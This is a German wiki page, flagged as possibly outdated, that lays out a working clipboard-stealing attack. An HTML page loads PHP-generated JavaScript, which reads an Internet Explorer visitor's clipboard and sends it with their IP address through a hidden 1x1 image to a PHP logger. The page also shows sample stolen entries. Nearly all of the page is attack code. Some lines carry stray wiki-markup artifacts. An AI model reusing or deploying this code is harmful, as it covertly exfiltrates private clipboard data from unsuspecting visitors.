!!! ACHTUNG - evtl. veraltet - ACHTUNG !!!

Diese Seite wurde zuletzt am 9. Juli 2014 um 10:31 Uhr geändert.

Voraussetzungen:

- ...

index.html:

```
 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3c.org/TR/xhtml1/DTD/transitional.dtd">
 <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="de" lang="de">
   <head>
     <title>XSS-IE-Zwischenablage-Klau</title>
     <script language="javascript" src="javascript.js"></script>
   </head>
   <body>
     &lt;p>Leere Seite!&lt;/p>
   </body>
 </html>
```

javascript.js:

```
 <?php header( "Content-type: text/javascript" ); ?>
 date = '<?php echo date( "d.m.Y H:i" ); ?>';
 ip = '<?php echo $_SERVER[[|"REMOTE_ADDR" ]]; ?>';
 if( navigator.appName == "Microsoft Internet Explorer" ) b =
clipboardData.getData( 'Text' );
 else b = 'leider kein Microsoft Internet Explorer mit offener
Zwischenablage! :-(';
 img = '<img src="clip_cap.php?payload=' + escape( b ) + '&date=' + date +
'&host=' + ip + '" width="1" height="1">';
 document.write( img );
```

damit diese php-datei vom webserver auch als solche (trotz „.js“) ausgeliefert wird, muss der webserver entsprechend konfiguriert werden.

für einen apache2 könnte es wie folgt aussehen:

```
 ...
```

TODO:

- überlaufen der datei „clip_log.txt“ verhindern!!!

clip_cap.php:

```
 <?php
 $fp = fopen( "./clip_log.txt", "a" );
 fputs( $fp, htmlentities( $_GET[[|"date" ]], ENT_QUOTES ) . " - " .
htmlentities( $_GET[[|"host" ]], ENT_QUOTES ) . ": " . htmlentities(
```

```
urldecode( $_GET[|"payload" ]] ) . "\n", ENT_QUOTES ) );
 fclose( $fp );
 ?>
```

das ergebis könnte dann so ausschauen:

```
 28.10.2010 12:15 - 10.0.0.50: leider kein Microsoft Internet Explorer mit
offener Zwischenablage! :-(
 28.10.2010 12:15 - 10.0.0.111: null
 28.10.2010 12:16 - 10.0.0.102: Kapier ich nicht
```

From:
https://wiki.neumannsland.de/ - **Patricks DokuWiki**

Permanent link:
https://wiki.neumannsland.de/mw2dw:ds3000-hacking-lite

Last update: **2019/09/23 11:47**